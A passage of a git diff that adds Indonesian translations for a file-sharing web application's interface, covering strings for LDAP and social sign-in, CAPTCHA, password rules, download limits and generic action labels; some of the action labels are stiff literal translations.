menggantikan", + "This is a new version of a file I uploaded before": "Ini versi baru dari berkas yang pernah saya unggah", + "Search your files…": "Cari di berkas Anda…", + "You have no earlier files that can be replaced.": "Anda tidak punya berkas lama yang bisa digantikan.", + "This file will be shared with the same people who have \":name\".": "Berkas ini akan dibagikan kepada orang-orang yang sama dengan pemilik \":name\".", + ":name (group)": ":name (grup)", + "Search files…": "Cari berkas…", + "Search…": "Cari…", + "Searching…": "Mencari…", + "No files match \":search\".": "Tidak ada berkas yang cocok dengan \":search\".", + "Nothing matches \":search\".": "Tidak ada yang cocok dengan \":search\".", + "A client account was converted to staff": "Sebuah akun klien diubah menjadi akun staf", + "A staff account was converted to a client": "Sebuah akun staf diubah menjadi akun klien", + "A client account was created from the directory": "Sebuah akun klien dibuat dari direktori", + "Converted the client account \":subject\" to staff (:role)": "Mengubah akun klien \":subject\" menjadi akun staf (:role)", + "Converted the staff account \":subject\" to a client": "Mengubah akun staf \":subject\" menjadi akun klien", + "Created a client account from the directory on first sign-in": "Membuat akun klien dari direktori saat pertama kali masuk", + "Convert accounts": "Mengubah jenis akun", + "Convert": "Ubah", + "Convert to client": "Ubah menjadi klien", + "Convert to staff": "Ubah menjadi staf", + "Convert :name to a client": "Ubah :name menjadi klien", + "Convert :name to staff": "Ubah :name menjadi staf", + "Client → staff": "Klien → staf", + "Staff → client": "Staf → klien", + "Move an account between staff and clients. Files they uploaded are always kept.": "Pindahkan akun antara staf dan klien. Berkas yang pernah mereka unggah selalu dipertahankan.", + "They lose access to every staff screen immediately.": "Akses ke semua layar staf langsung hilang.", + "They gain access to the staff screens their role allows.": "Mendapat akses ke layar staf yang diizinkan oleh perannya.", + "Will be revoked": "Akan dicabut", + "Will be revoked and cannot be undone": "Akan dicabut dan tidak bisa dikembalikan", + "Will be kept": "Akan dipertahankan", + "Nothing": "Tidak ada", + "Nothing to keep": "Tidak ada yang perlu dipertahankan", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Mengubah kembali akan memulihkan semua yang ada di bawah \"Akan dipertahankan\". Yang sudah dicabut tidak dipulihkan.", + ":files files and :folders folders they uploaded": ":files berkas dan :folders folder yang diunggah akun ini", + "No accounts match these filters.": "Tidak ada akun yang cocok dengan filter ini.", + "Account converted to a client.": "Akun diubah menjadi klien.", + "Account converted to staff.": "Akun diubah menjadi staf.", + "Approve or deny this account request before converting it.": "Setujui atau tolak permintaan akun ini sebelum mengubahnya.", + "You cannot convert your own account.": "Anda tidak bisa mengubah akun Anda sendiri.", + "New password": "Kata sandi baru", + "New password (optional)": "Kata sandi baru (opsional)", + "Leave blank to keep their current password.": "Kosongkan untuk mempertahankan kata sandi yang sekarang.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Akun ini masuk lewat direktori Anda. Akun staf tidak pernah begitu, jadi akun ini perlu kata sandi di sini, kalau tidak ia sama sekali tak bisa masuk.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Tetapkan kata sandi untuk akun ini. Saat ini ia masuk lewat direktori Anda, sedangkan akun staf tidak pernah begitu.", + "Tokens created": "Token yang dibuat", + "Currently active": "Sedang aktif", + ":count active": ":count aktif", + "1 permission": "1 izin", + ":count permissions": ":count izin", + "This token carries no permissions.": "Token ini tidak membawa izin apa pun.", + "This account has created API tokens before, but none are live now.": "Akun ini pernah membuat token API, tetapi kini tidak ada yang aktif.", + "This account has never created an API token.": "Akun ini belum pernah membuat token API.", + "No longer granted to this account, so it does nothing.": "Sudah tidak diberikan lagi ke akun ini, jadi tidak berpengaruh apa-apa.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Hanya :name yang bisa membuat, mengubah, atau mencabutnya — administrator bisa melihat, tetapi tidak mengelolanya.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Apa saja yang boleh dilakukan token ini lewat API. Ia tidak pernah bisa melakukan lebih dari yang boleh dilakukan :name.", + "LDAP": "LDAP", + "LDAP settings": "Pengaturan LDAP", + "LDAP settings saved.": "Pengaturan LDAP disimpan.", + "Directory": "Direktori", + "Connection": "Koneksi", + "Server": "Server", + "Base DN": "Base DN", + "Service account DN": "DN akun layanan", + "Service account password": "Kata sandi akun layanan", + "Email attribute": "Atribut email", + "Name attribute": "Atribut nama", + "Additional filter (optional)": "Filter tambahan (opsional)", + "CA certificate path (optional)": "Jalur sertifikat CA (opsional)", + "None (unencrypted)": "Tidak ada (tanpa enkripsi)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS implisit)", + "Allow clients to sign in with a directory account": "Izinkan klien masuk dengan akun direktori", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Izinkan klien masuk memakai akun direktori mereka. Staf selalu diautentikasi secara lokal.", + "Create an account on first sign-in": "Buat akun saat pertama kali masuk", + "Directory accounts are always created as clients, never as staff.": "Akun dari direktori selalu dibuat sebagai klien, tidak pernah sebagai staf.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Orang yang ada di direktori tetapi belum punya akun di sini akan mendapat akun klien dan langsung masuk.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Orang yang ada di direktori tetapi belum punya akun di sini akan mendapat akun klien yang menunggu persetujuan di Permintaan akun.", + "Only people who already have an account here can sign in.": "Hanya orang yang sudah punya akun di sini yang bisa masuk.", + "Combined with the address match, to narrow who may sign in.": "Digabung dengan kecocokan alamat, untuk mempersempit siapa yang boleh masuk.", + "The attribute holding the address people sign in with — usually mail.": "Atribut yang menyimpan alamat untuk masuk — biasanya mail.", + "Where in the tree to look for people.": "Di bagian mana pohon direktori orang dicari.", + "Leave blank to search anonymously.": "Kosongkan untuk mencari secara anonim.", + "Stored encrypted, and never shown again.": "Disimpan terenkripsi dan tidak pernah ditampilkan lagi.", + "Stored encrypted. Leave blank to keep the current one.": "Disimpan terenkripsi. Kosongkan untuk mempertahankan yang sekarang.", + "For a directory presenting a certificate from your own certificate authority.": "Untuk direktori yang memakai sertifikat dari otoritas sertifikat milik Anda sendiri.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Tanpa enkripsi: kata sandi akun layanan dan kata sandi setiap klien melintasi jaringan dalam bentuk teks biasa.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Bila kata sandi klien tidak dikenali secara lokal, kata sandi itu dicocokkan ke direktori. Akun staf selalu diautentikasi secara lokal dan tidak pernah dikirim ke sana.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Ekstensi PHP LDAP belum terpasang di server ini, sehingga pengaturan ini tidak bisa berlaku.", + "The PHP LDAP extension is not installed on this server.": "Ekstensi PHP LDAP belum terpasang di server ini.", + "Saves are not required to test — but the test uses the settings as last saved.": "Anda tidak perlu menyimpan untuk menguji — tetapi pengujian memakai pengaturan sebagaimana terakhir disimpan.", + "Test a sign-in": "Uji proses masuk", + "Email address (optional)": "Alamat email (opsional)", + "Password (optional)": "Kata sandi (opsional)", + "Connected and bound as the service account.": "Terhubung dan terautentikasi sebagai akun layanan.", + "Could not connect or bind as the service account: :error": "Tidak bisa terhubung atau terautentikasi sebagai akun layanan: :error", + "Found a matching entry.": "Ditemukan entri yang cocok.", + "No directory entry matched that address under the base DN.": "Tidak ada entri direktori di bawah base DN yang cocok dengan alamat itu.", + "The directory rejected that password.": "Direktori menolak kata sandi tersebut.", + "The search failed: :error": "Pencarian gagal: :error", + "The sign-in bind failed: :error": "Autentikasi saat masuk gagal: :error", + "Signed in successfully.": "Berhasil masuk.", + "1 item": "1 item", + ":count items": ":count item", + "1 API token": "1 token API", + ":count API tokens": ":count token API", + "1 assigned client": "1 klien yang ditangani", + ":count assigned clients": ":count klien yang ditangani", + "Managed by 1 staff member": "Ditangani oleh 1 anggota staf", + "Managed by :count staff members": "Ditangani oleh :count anggota staf", + "1 group membership": "1 keanggotaan grup", + ":count group memberships": ":count keanggotaan grup", + "1 file shared with them": "1 berkas yang dibagikan kepadanya", + ":count files shared with them": ":count berkas yang dibagikan kepadanya", + "Approve these accounts automatically": "Setujui akun-akun ini secara otomatis", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Direktori Anda sudah memastikan identitas mereka, jadi tidak ada yang perlu diperiksa lagi. Biarkan mati jika ingin meninjau satu per satu lebih dulu di Permintaan akun.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Klien yang mendaftar sendiri disetujui otomatis — pengaturan ini terpisah dan tidak mengikutinya.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Klien yang mendaftar sendiri tetap menunggu persetujuan — pengaturan ini terpisah dan tidak mengubah hal itu.", + "Container filesystem": "Sistem berkas kontainer", + "Docker volume": "Volume Docker", + "Files stored on": "Berkas tersimpan di", + "Host directory": "Direktori host", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Artinya docker compose down -v maupun docker volume prune sama-sama menghapusnya, dan cadangan server Anda bisa melewatkannya sama sekali.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Berkas-berkas itu tidak berada di volume mana pun, jadi membangun ulang atau membuat ulang kontainer ini akan menghapus semuanya secara permanen. Pindahkan ke direktori di host sebelum mengunggah apa pun lagi.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Berkas-berkas itu bertahan saat pemutakhiran, tetapi berada di volume yang dikelola Docker, bukan di direktori pilihan Anda.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Berkas-berkas itu bertahan saat pemutakhiran, tetapi berada di volume Docker :volume, bukan di direktori pilihan Anda.", + "Uploaded files are inside Docker": "Berkas yang diunggah berada di dalam Docker", + "Uploaded files are stored inside the container": "Berkas yang diunggah tersimpan di dalam kontainer", + "1 more language available": "1 bahasa lagi tersedia", + ":count more languages available": ":count bahasa lagi tersedia", + ":left of :limit downloads left": "sisa :left dari :limit unduhan", + ":limit downloads per person": ":limit unduhan per orang", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name akan masuk hanya dengan kata sandinya sampai mengaturnya lagi, dan akan menerima email tentang perubahan ini. Jika autentikasi dua faktor diwajibkan di situs ini, ia akan diminta mendaftarkannya lagi pada masuk berikutnya.", + ":provider accepted your secret key.": ":provider menerima kunci rahasia Anda.", + ":provider connected.": ":provider terhubung.", + ":provider did not provide an email address, which is required to sign in.": ":provider tidak memberikan alamat email, yang diperlukan untuk masuk.", + ":provider disconnected.": ":provider terputus.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider tidak pernah melaporkan apakah sebuah alamat terverifikasi, jadi dengan opsi ini aktif ia dapat membuat akun baru tetapi tidak pernah bisa masuk ke akun yang sudah ada. Menghubungkannya dari Pengaturan saat sudah masuk tetap berfungsi.", + ":provider rejected your secret key.": ":provider menolak kunci rahasia Anda.", + ":provider settings saved.": "Pengaturan :provider disimpan.", + ":used of :limit downloads used": ":used dari :limit unduhan terpakai", + "A :provider account was connected": "Sebuah akun :provider terhubung", + "A :provider account was disconnected": "Sebuah akun :provider diputuskan", + "Accounts at :domain cannot sign in with :provider here.": "Akun di :domain tidak dapat masuk dengan :provider di sini.", + "A client account was created from :provider": "Sebuah akun klien dibuat dari :provider", + "Allowed email domains": "Domain email yang diizinkan", + "Allow signing in with :provider": "Izinkan masuk dengan :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Selalu akun klien. Akun staf hanya dibuat oleh administrator.", + "Always available — the application is written in English, so it needs no translation file.": "Selalu tersedia — aplikasi ditulis dalam bahasa Inggris, jadi tidak memerlukan berkas terjemahan.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Sebuah akun sudah menggunakan alamat email ini, dan :provider tidak memastikan bahwa alamat itu milik Anda. Sebagai gantinya, masuklah dengan kata sandi Anda dan hubungkan :provider dari pengaturan Anda.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Alamat yang tidak dipastikan oleh penyedia tidak pernah bisa dicocokkan dengan akun yang sudah ada di sini. Menonaktifkan ini berarti siapa pun yang dapat mendaftar di penyedia Anda dengan alamat orang lain bisa masuk sebagai orang tersebut.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Seorang administrator menghapus autentikasi dua faktor dari akun Anda. Anda dapat mengaturnya lagi dari pengaturan keamanan Anda. Hubungi administrator Anda jika ini tidak diduga.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Siapa pun yang dapat menjangkau sebuah berkas melihat kategori yang ditetapkan padanya — klien di portalnya, atau siapa pun yang memegang tautan publik atau berbagi. Klien yang telah masuk juga dapat menyaring berkas mereka menurut kategori mana pun dalam daftar ini. Hanya tim Anda yang dapat membuat, mengganti nama, atau menghapusnya.", + "Applies whenever a password is chosen, not when one is used to sign in": "Berlaku setiap kali kata sandi dipilih, bukan saat digunakan untuk masuk", + "Approve those accounts automatically": "Setujui akun-akun itu secara otomatis", + "A secret is stored. Leave this blank to keep it.": "Sebuah rahasia tersimpan. Biarkan kosong untuk mempertahankannya.", + "At least :count characters.": "Minimal :count karakter.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Antara 0.0 (perlakukan semua orang sebagai bot) dan 1.0 (perlakukan semua orang sebagai manusia). Nilai yang biasa adalah 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA sedang nonaktif. Pilih penyedia dan masukkan kuncinya untuk mengaktifkannya.", + "CAPTCHA settings saved.": "Pengaturan CAPTCHA disimpan.", + "Categories are visible outside your team": "Kategori terlihat di luar tim Anda", + "Change yours": "Ubah milik Anda", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Memeriksa kata sandi baru terhadap basis data kebocoran Have I Been Pwned. Kata sandi itu sendiri tidak pernah meninggalkan server ini — hanya lima karakter pertama dari hash-nya yang dikirim.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Memeriksa kunci rahasia dengan penyedia Anda. Tidak ada yang harus menyelesaikan tantangan.", + "Client ID": "ID klien", + "Client registration": "Pendaftaran klien", + "Client secret": "Rahasia klien", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Dipisahkan koma. Biarkan kosong untuk mengizinkan alamat apa pun.", + "Comments from visitors": "Komentar dari pengunjung", + "Complete the security check and try again.": "Selesaikan pemeriksaan keamanan dan coba lagi.", + "Configure it myself": "Konfigurasikan sendiri", + "Connected": "Terhubung", + "Connected accounts": "Akun terhubung", + "Connected the :provider account of \":subject\"": "Menghubungkan akun :provider milik \":subject\"", + "Continue with :provider": "Lanjutkan dengan :provider", + "Could not reach :provider: :error": "Tidak dapat menghubungi :provider: :error", + "Created a client account from :provider on first sign-in": "Membuat akun klien dari :provider pada masuk pertama", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Tanggal dan waktu di seluruh aplikasi ditampilkan dalam zona ini. Terdeteksi dari peramban Anda saat pertama kali masuk.", + "Default language": "Bahasa bawaan", + "Directory (tenant) ID": "ID direktori (penyewa)", + "Disabled": "Nonaktif", + "Disconnect": "Putuskan", + "Disconnected the :provider account of \":subject\"": "Memutuskan akun :provider milik \":subject\"", + "Downloaded :count time(s) so far. Your own downloads never count.": "Diunduh :count kali sejauh ini. Unduhan Anda sendiri tidak pernah dihitung.", + "Download limit": "Batas unduhan", + "Download limit reached": "Batas unduhan tercapai", + "Each person separately": "Setiap orang secara terpisah", + "Enabled": "Aktif", + "Enter a secret key first.": "Masukkan kunci rahasia terlebih dahulu.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Masukkan ID penyewa tertentu. Titik akhir bersama \"common\", \"organizations\", dan \"consumers\" memungkinkan penyewa Microsoft mana pun mengeklaim alamat email apa pun.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Setiap bahasa yang terpasang di server ini tercantum di bawah. Centang yang ingin Anda tawarkan di menu bahasa — staf, klien, dan pengunjung publik hanya akan melihat itu. Memasang bahasa lain hanyalah soal menambahkan berkas terjemahannya ke folder lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Kata sandi yang sudah ada tidak pernah diperiksa ulang, jadi menaikkan ini hanya memengaruhi kata sandi yang dipilih mulai sekarang.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Secara total, di antara semua orang", + "Issuer URL": "URL penerbit", + "Languages": "Bahasa", + "Language settings": "Pengaturan bahasa", + "Leave empty for a file that can be downloaded any number of times.": "Biarkan kosong untuk berkas yang dapat diunduh berapa kali pun.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Panjang adalah faktor terbesar dalam seberapa sulit sebuah kata sandi ditebak, itulah mengapa tidak ada aturan seperti \"harus mengandung huruf kapital\" di sini — aturan itu mendorong orang ke penggantian yang mudah ditebak dan kata sandi yang lebih pendek.", + "Let people sign in with an account they already have somewhere else.": "Biarkan orang masuk dengan akun yang sudah mereka miliki di tempat lain.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Panjang minimum", + "No limit": "Tanpa batas", + "None selected": "Tidak ada yang dipilih", + "No sign-in providers have been set up for this site.": "Tidak ada penyedia masuk yang disiapkan untuk situs ini.", + "Not connected": "Tidak terhubung", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Nonaktif berarti mereka menunggu di Permintaan akun. Alamat yang tidak diverifikasi penyedia selalu menunggu, apa pun kata pengaturan ini.", + "Off — no CAPTCHA": "Nonaktif — tanpa CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Atau lanjutkan dengan", + "Or sign up with": "Atau daftar dengan", + "Passwords": "Kata sandi", + "Passwords that appear in known data breaches are not accepted.": "Kata sandi yang muncul dalam kebocoran data yang diketahui tidak diterima.", + "Protection": "Perlindungan", + "Protect these forms": "Lindungi formulir ini", + "Protect your public forms from automated abuse": "Lindungi formulir publik Anda dari penyalahgunaan otomatis", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI pengalihan", + "Register this exact address with :provider. It must match character for character.": "Daftarkan persis alamat ini dengan :provider. Harus cocok karakter demi karakter.", + "Reject passwords found in known data breaches": "Tolak kata sandi yang ditemukan dalam kebocoran data yang diketahui", + "Removed two-factor authentication from \":subject\"": "Menghapus autentikasi dua faktor dari \":subject\"", + "Remove the limit": "Hapus batas", + "Remove two-factor authentication": "Hapus autentikasi dua faktor", + "Remove two-factor authentication?": "Hapus autentikasi dua faktor?", + "Require a verified email address": "Wajibkan alamat email yang terverifikasi", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Jalankan ini sebagai pengguna yang menjalankan server web Anda. INSTALL.md memuat prosedur lengkapnya.", + "Score threshold": "Ambang skor", + "Search timezones…": "Cari zona waktu…", + "Security check failed. Please try again.": "Pemeriksaan keamanan gagal. Silakan coba lagi.", + "Service": "Layanan", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Tetapkan kata sandi untuk akun ini. Akun ini belum pernah punya — ia masuk melalui penyedia yang terhubung, dan akun staf memerlukan kredensial yang dapat diperiksa sendiri oleh aplikasi ini.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Pengunjung yang telah masuk tidak pernah diminta menyelesaikan tantangan saat berkomentar.", + "Sign in": "Masuk", + "Sign in with an account you already have somewhere else.": "Masuk dengan akun yang sudah Anda miliki di tempat lain.", + "Site key": "Kunci situs", + "Social login": "Masuk lewat media sosial", + "Stored encrypted and never shown again, not even to you.": "Disimpan terenkripsi dan tidak pernah ditampilkan lagi, bahkan kepada Anda.", + "Stored — leave blank to keep it": "Tersimpan — biarkan kosong untuk mempertahankannya", + "Testing…": "Menguji…", + "Test keys": "Uji kunci", + "That :provider account is already connected to another account here.": "Akun :provider itu sudah terhubung ke akun lain di sini.", + "That sign-in could not be completed. Please try again.": "Masuk itu tidak dapat diselesaikan. Silakan coba lagi.", + "That sign-in method is not available.": "Metode masuk itu tidak tersedia.", + "The default language has to be one of the languages you are offering.": "Bahasa bawaan harus salah satu dari bahasa yang Anda tawarkan.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Titik akhir dibaca dari alamat ini, jadi inilah seluruh konfigurasinya. Harus https.", + "The expiry date must be in the future.": "Tanggal kedaluwarsa harus di masa depan.", + "The issuer URL must start with https://.": "URL penerbit harus diawali dengan https://.", + "The public key. It appears in your pages’ source, which is expected.": "Kunci publik. Kunci ini muncul di sumber halaman Anda, yang memang wajar.", + "There is no account here for that address.": "Tidak ada akun di sini untuk alamat itu.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Pemeriksaan keamanan tidak dapat dimuat. Pastikan peramban atau jaringan Anda tidak memblokirnya, lalu muat ulang halaman.", + "This account does not use an authenticator app.": "Akun ini tidak menggunakan aplikasi autentikator.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Akun ini belum pernah memiliki kata sandi sendiri — ia masuk melalui penyedia yang terhubung. Staf memerlukan kredensial yang dapat diperiksa sendiri oleh aplikasi ini, agar gangguan penyedia tidak mengunci mereka di luar.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Akun ini masuk dengan aplikasi autentikator. Hapus hanya jika pemilik akun kehilangan baik aplikasi maupun kode pemulihannya.", + "This file has reached its download limit.": "Berkas ini telah mencapai batas unduhannya.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Ini satu-satunya cara Anda dapat masuk. Tetapkan kata sandi terlebih dahulu, lalu putuskan :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Situs ini dilindungi oleh reCAPTCHA dan Kebijakan Privasi serta Ketentuan Layanan Google berlaku.", + "Those files have reached their download limit.": "Berkas-berkas itu telah mencapai batas unduhannya.", + "Timezone": "Zona waktu", + "To update, back up your database and files, then:": "Untuk memperbarui, cadangkan basis data dan berkas Anda, lalu:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Untuk memperbarui, ikuti langkah-langkah di INSTALL.md — cadangkan dahulu, lalu bongkar rilisnya dan jalankan migrasinya.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Nonaktifkan ini hanya jika server ini tidak boleh membuat permintaan keluar. Jika layanan tidak dapat dihubungi, kata sandi tetap diterima, jadi pemasangan luring tidak pernah terhalang olehnya.", + "Two-factor authentication removed.": "Autentikasi dua faktor dihapus.", + "Two-factor authentication removed by an admin": "Autentikasi dua faktor dihapus oleh admin", + "Two-factor authentication was removed by an administrator": "Autentikasi dua faktor dihapus oleh seorang administrator", + "Two-factor authentication was removed from your account": "Autentikasi dua faktor dihapus dari akun Anda", + "Unexpected reply from :provider: :codes": "Balasan tak terduga dari :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Digunakan untuk siapa pun yang belum memilih zona waktu sendiri, termasuk pengunjung halaman publik dan tautan berbagi Anda. Setiap akun dapat menetapkan zona waktunya sendiri di profilnya.", + "Use ProjectSend’s protection": "Gunakan perlindungan ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Gunakan akun reCAPTCHA atau Turnstile Anda sendiri.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Verifikasi tidak dapat dihubungi belakangan ini, jadi formulir yang dilindungi diloloskan tanpa pemeriksaan. Tidak ada yang terkunci di luar.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Kami melindungi formulir publik Anda untuk Anda. Tidak ada yang perlu disiapkan, tidak ada kunci yang perlu dikelola.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Apa yang orang lihat sebelum mereka memilih apa pun. Akun yang telah masuk mempertahankan pilihannya sendiri, dan pengunjung yang perambannya meminta salah satu bahasa di atas mendapatkan bahasa itu — inilah jawaban untuk semua orang lainnya.", + "Which languages people can choose from": "Bahasa apa saja yang bisa dipilih orang", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Akun Anda dibuat melalui salah satu penyedia ini dan tidak memiliki kata sandi sendiri, jadi koneksi terakhir tidak dapat dihapus. Tetapkan kata sandi terlebih dahulu jika Anda ingin memutuskannya.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Akun Anda sendiri diatur ke :timezone, jadi ini tidak akan mengubah tampilan tanggal bagi Anda.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Penyewa Anda sendiri, bukan \"common\". Microsoft mengizinkan pengguna mengubah alamat email pada akunnya, jadi sebuah masuk hanya tepercaya jika tokennya berasal dari penyewa yang Anda sebutkan di sini.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Penyedia Anda menolak kunci rahasia pemasangan ini, jadi formulir yang dilindungi diloloskan tanpa pemeriksaan. Periksa kunci rahasia di bawah.", + "Your public forms are protected. You can switch to your own keys at any time.": "Formulir publik Anda terlindungi. Anda dapat beralih ke kunci Anda sendiri kapan saja." +} diff --git a/lang/id/actions.php b/lang/id/actions.php new file mode 100644 index 00000000..0e5cadc4 --- /dev/null +++ b/lang/id/actions.php @@ -0,0 +1,119 @@ + 'Menerima', + 'action' => 'Tindakan', + 'actions' => 'Tindakan', + 'add' => 'Menambahkan', + 'admin' => 'Admin', + 'agree' => 'Setuju', + 'archive' => 'Arsip', + 'assign' => 'Menetapkan', + 'associate' => 'Rekan', + 'attach' => 'Menempel', + 'browse' => 'Jelajahi', + 'cancel' => 'Membatalkan', + 'choose' => 'Memilih', + 'choose_file' => 'Pilih File', + 'choose_image' => 'Pilih Gambar', + 'click_to_copy' => 'Klik untuk menyalin', + 'close' => 'Menutup', + 'collapse' => 'Runtuh', + 'collapse_all' => 'Ciutkan Semua', + 'comment' => 'Komentar', + 'confirm' => 'Mengonfirmasi', + 'connect' => 'Menghubung', + 'create' => 'Membuat', + 'delete' => 'Menghapus', + 'detach' => 'Melepaskan', + 'details' => 'Detail', + 'disable' => 'Cacat', + 'discard' => 'Membuang', + 'done' => 'Selesai', + 'down' => 'Turun', + 'duplicate' => 'Duplikat', + 'edit' => 'Sunting', + 'enable' => 'Memungkinkan', + 'expand' => 'Memperluas', + 'expand_all' => 'Melebarkan semua', + 'explanation' => 'Penjelasan', + 'export' => 'Ekspor', + 'file' => 'Mengajukan', + 'files' => 'File', + 'go_home' => 'Pulang ke rumah', + 'hide' => 'Bersembunyi', + 'home' => 'Rumah', + 'image' => 'Gambar', + 'impersonate' => 'Menirukan', + 'impersonation' => 'Peniruan', + 'import' => 'Impor', + 'introduction' => 'Perkenalan', + 'like' => 'Menyukai', + 'load' => 'Memuat', + 'localize' => 'Melokalisir', + 'log_in' => 'Gabung', + 'log_out' => 'Keluar', + 'named' => [ + 'add' => 'Tambahkan :name', + 'choose' => 'Pilih :name', + 'create' => 'Buat :name', + 'delete' => 'Hapus :name', + 'duplicate' => 'Duplikat: nama', + 'edit' => 'Sunting :name', + 'export' => 'Export :name', + 'hide' => 'Sembunyikan :name', + 'import' => 'Impor :name', + 'new' => 'Baru :name', + 'restore' => 'Pulihkan :name', + 'save' => 'Hemat :name', + 'search' => 'Pencarian :name', + 'show' => 'Tampilkan :name', + 'update' => 'Pembaruan :name', + 'view' => 'Lihat :name', + ], + 'new' => 'Baru', + 'no' => 'TIDAK', + 'open' => 'Membuka', + 'open_website' => 'Buka di situs web', + 'preview' => 'Pratinjau', + 'price' => 'Harga', + 'record' => 'Catatan', + 'restore' => 'Memulihkan', + 'save' => 'Menyimpan', + 'save_and_close' => 'Simpan & Tutup', + 'save_and_return' => 'Simpan & Kembalikan', + 'search' => 'Mencari', + 'select' => 'Pilih', + 'select_all' => 'Pilih Semua', + 'send' => 'Mengirim', + 'settings' => 'Pengaturan', + 'show' => 'Menunjukkan', + 'show_all' => 'Tunjukkan semua', + 'sign_in' => 'Masuk', + 'solve' => 'Menyelesaikan', + 'start' => 'Awal', + 'stop' => 'Berhenti', + 'submit' => 'Kirim', + 'subscribe' => 'Langganan', + 'switch' => 'Mengalihkan', + 'switch_to_role' => 'Beralih Ke Peran', + 'tag' => 'Menandai', + 'tags' => 'Tag', + 'target_link' => [ + 'blank' => 'Buka di jendela baru', + 'parent' => 'Buka di bingkai induk', + 'self' => 'Buka di jendela saat ini', + 'top' => 'Buka di bingkai paling atas', + ], + 'translate' => 'Menerjemahkan', + 'translate_it' => 'Terjemahkan', + 'unpack' => 'Membongkar', + 'unsubscribe' => 'Berhenti berlangganan', + 'up' => 'Ke atas', + 'update' => 'Memperbarui', + 'user' => 'Pengguna', + 'view' => 'Melihat', + 'yes' => 'Ya', +]; diff --git a/lang/id/auth.php b/lang/id/auth.php new file mode 100644 index 00000000..030b6b71 --- /dev/null +++ 